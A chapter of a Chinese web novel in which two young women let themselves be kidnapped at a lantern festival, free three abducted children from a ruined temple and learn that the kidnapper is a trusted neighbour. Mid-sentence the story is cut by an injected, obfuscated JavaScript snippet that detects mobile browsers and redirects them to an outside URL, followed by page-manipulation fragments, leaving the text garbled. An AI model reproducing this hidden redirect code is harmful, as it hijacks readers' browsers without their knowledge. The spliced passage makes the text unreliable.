“喏,小白白,送给你。”夏秋将兔子花灯往陈既白手中一塞。
还没等陈既白问为什么,夏秋挠挠头笑着说道,“一路上虽然不知道为什么,你好像一直都心不在焉的。但是,我想要你开心一点,嘿嘿嘿。”
说到后面,她还有点不好意思,脸微微红。
陈既白抬头望着这个她一直觉得奇怪的人,明明是今天才认识的,看着大大咧咧不着调,但却是一个很细心很好的人。
她第一次真正在夏秋面前露出笑容,“谢谢你,夏秋,我很开心。”
又握紧手中的兔子花灯,“这个很漂亮,我也很喜欢。”
“哎呀,你喜欢就好。走吧,我们继续进攻,今天我要把柳溪镇通通逛完。”
夏秋再次志气满满,拉着陈既白投入熙熙攘攘的人群。
待夏秋的兴奋劲过去,此时差不多已戌时,商贩也开始收拾摊子,路上的行人也散的差不多了。
陈既白感受到那道诡异的视线越发清晰了。
“小白白,咱们今晚就住前面那家“悦来客栈”好不好”,夏秋打了个哈欠,指着不远处的客栈,“这个名字一听就很好,悦来悦来,愉悦的心情到来,听着就很喜庆。”
陈既白没应声,反而拽着夏秋的衣袖,压低声音道,“有人一直盯着咱们,等会见机行事。”
夏秋闻言一惊,脑袋里的瞌睡瞬间消失,下意识准备回头。
陈既白轻轻捏了一下她的手心,微微摇头,眼神示意她别声张,随后嘴唇无声的吐出几个字,“将计就计。”
她倒要看看究竟是什么牛鬼蛇神,从她俩进入柳溪镇以来就盯着。
与此同时陈既白将夏秋送她的兔子花灯收好。
夏秋虽不明白,但也配合,她无条件相信小白白。
笑着挽住陈既白的胳膊,大声道,“今天真是幸福的一天,吃了好多好吃的,看到了好多好看的!”
两人装作毫无察觉的样子,淡定交谈,继续往“悦来客栈”走去。
正走到东街拐角阴影处,一阵风袭来,紧接着,一个麻布口袋猛的兜头而下,将两人捆的严严实实。
陈既白心头一凛,这些人竟如此大胆。虽说此时人散的差不多,但也是有人的。
他们为什么这么有胆量,难不成背后有人,所以有恃无恐。
一边想一边再次捏了捏夏秋的手,示意她不要动手。
虽两人才相处没多久,但夏秋奇异的懂了陈既白的意思,她收回即将出动的手,装作害怕的样子。
“呜呜呜,妹妹,我怕。”
陈既白准备也跟着哼两声,就听到一个粗哑的声音,带着狠厉,“闭嘴,再叫要了你们的命,给我老实点。”
两人只好老老实实的扮演被捕人员的身份,还时不时颤两下,以表示害怕。
两人像是被抗麻袋似的,被粗鲁的丢入马车里。
车子一路颠簸,发出咕噜咕噜的声音,出了镇子,朝着荒僻的地方走去。
大约半个时辰后,马车才缓缓停下。
陈既白和夏秋被拖下车,扔进了一个不大好闻得地方。
随着头上的麻布口袋被摘下,陈既白眨了眨眼,适应了才完全睁开眼睛。
眼前是一间破败的寺庙,佛像已经掉了漆,到处都是蜘蛛网,月光通过镂空的屋顶洒下来。
借着那点光,两人看到角落里还有三四个孩子,一个个装着整齐,眼神惊恐,满脸绝望,显然和她们一样,是被绑架来的。
一个蒙着脸的大汉拎着根木棍,脸上只露出一双眼睛,他扫过众人,粗声粗气道,“都给我老实待着!谁要是敢乱动乱喊,老子现在就把你们一个个宰了。”
眼神狠厉的看向这群小孩,仿佛是一只凶残的野兽。
几个小孩被吓得缩成了一团,眼泪溢满眼眶,却不敢落下,生怕被第一个拉出去宰了。
腰间的杀猪刀震了一下,以前还从未出现这种情况。
陈既白趁男人不注意,用手轻轻摸了一下,然而没有感觉到什么异常。
她悄悄打量眼前这个人,运转解纹天道查看,果然,无论看多少遍,还是很怪异。
他的命纹为什么一会是明黄色,一会呈现墨黑,一个人怎么会善良和罪孽同时显现?
陈既白还是第一次见到这种情况,脑中毫无头绪,这其中究竟有什么隐情。
蒙面大汉放完狠话,又狠狠瞪了众人一眼,这才走了出去,门被“哐当”一声关上,还不忘落了锁。
庙里瞬间安静下来,只剩墙角小孩们压抑的啜泣声。
此时夏秋正神采奕奕的望着陈既白,“小白白,接下来我们做什么?”
声音里充满了跃跃欲试,完全没有一丝害怕,好似她们只是出门赏花一般。
陈既白不语,只是轻轻呼出一口气,经过今天的相处,她已经大概了解夏秋是怎样的人了,这会已经习惯了。
“别急,等我再看看。”
陈既白一边说一边手指灵活的活动,三下五除二解开了腕上的麻绳。
这种解麻绳的方法还是爹爹当时手把手教她的,说是防患未然。果不其然,今日就真的用上了。
快速来到夏秋身边将她的绳子解开。
两人对视一眼,轻轻活动了下发僵的手腕。
角落处,三个小孩蜷缩在一起,透过月光能看见他们的小脸上没有半分血色,眼里满是惊恐。
看身量,最大的不过六七岁,最小的也才四五岁,几人都穿的干干净净,一看就是家里宠着的。
看着这三个惊恐的小孩,两人心中不禁唾弃,“该死的人贩子,简直就是丧尽天良。
陈既白放轻脚步朝她们走过去,蹲下身子,声音满是温柔的轻声,“嘘,不要害怕,没事的,姐姐这就给你们松绑。”
她小心翼翼的解开最小孩子身上的绳索,小孩很乖,瘪着嘴,泪水在眼眶里打转,却硬是没有吱一声。
夏秋也过来一起帮忙,她虽然平时欢乐跳脱,但此刻却沉静下来,麻利的解开另外两位两个小孩身上的绳子。
绳子一解开,三个小孩像是终于抓住了浮木一般,扑进她们的怀里紧紧抱住。
冬日的夜晚寒冷刺骨,这三个小家伙应该被抓来有一会了,小小的身体十分冰凉,同时还在不受控制的颤抖。
头埋在她们的肩上,传来小声的抽噎,遇到这种事肯定被吓到了。
陈既白和夏秋心里一酸,伸手轻轻抚摸着小孩的背,轻声安抚。
“好了,不怕了啊,没事的没事的。”两人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055037|194858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
低声哄着。
不敢耽搁时间,两人借着月光仔细查看他们身体情况。
果然,三个小朋友身上都有不同程度的淤青,肯定是当时太害怕了,使劲挣扎,索性不是危及性命。
松了口气,安抚好孩子们的情绪后,陈既白起身查看破庙的情况。
门已经被锁死了,窗户又高又小,对她来说很简单,但是三个小孩很难爬出去。
“夏秋,你看好他们,我出去看看。”陈既白向夏秋低声嘱咐。
夏秋点了点头,“注意安全。”
陈既白纵身一跃,从屋顶破烂处飞身而出,蹑手蹑脚走向屋檐处。
举目四望,四周弥漫着一股阴森森的邪气,不远处全是坟墓,难怪如此冷清萧索!
低头看向门前,只有两个大汉守着,其他地方都没有人。
这么松懈,看来是笃定他们逃不了。
悄无声息的出现在大汉的身后,陈既白双手持刀背,同时发力,两个壮汉便睡了过去。
野猪杀多了真的很有用,瞧,这不就睡过去了。她心里嘀咕。
虽然按照她的力气这两个人也不至于短时间醒来,但为了以防万一,陈既白还是将两人牢牢捆绑住,从他们身上找出钥匙,开锁推开门。
“走吧,姐姐们送你们回家。”陈既白走进去抱起最小的那个孩子,温声说。
“小白白,你把他们都解决了?真厉害。”夏秋声音再次雀跃起来,她就知道,小白白肯定行。
“嗯,他们只有两个人,所以很简单。”
“不愧是你,对了,他们三个都是东市的,等会刚好可以一起送回去。”夏秋拉着另外两个小孩边往外边走边说。
“你是说他们都是同一个地方的?”陈既白不自觉声音提高,她怎么觉得整个事情越来越怪异,为什么偏偏那么巧。
“对啊,刚刚他们告诉我的,我还说为什么会这么巧呢。”夏秋大大咧咧的说道。
“是啊,为什么会这么巧呢?”陈既白心里自问。
“梁......梁叔?怎么会!”最大的那个男孩小帆瞪大双眼、双手不自觉的捏紧衣服,一脸震惊呼声而出。
“梁叔。”陈既白和夏秋被他的称呼惊呆了,夏秋开口,“小帆,你认识他?”
小帆使劲点了点头,小静和小圆颤着也跟着肯定道,“就是梁叔,我们不会认错的。”
小帆接着说,“但是......梁叔怎么可能会绑架我们?”
他一脸不敢相信,仿佛被打击到一样,恍恍惚惚的道,“他平时对我们可好了,经常拿东西给我们吃,还帮我们做玩具,我们最喜欢他了,而且,梁叔......他绝对不可能会这样做。”
小静和小圆在一旁狠狠点头,表示认同。除了父母,在东市,他们最喜欢的就是梁叔了。
小帆越说越难过,“姐姐,你们可不可以帮一下梁叔,他肯定是遇到什么了,会不会是鬼上他的身了?”
以前父母经常和他说,如果不听话,那就会有鬼上他身,把他抓走。
所以他一直听话,害怕鬼上身让他找不回家,那梁叔会不会也是这样。
此话一出,四周瞬间安静。陈既白和夏秋对视一眼,都清楚的知道这件事,远比她们想的更古怪。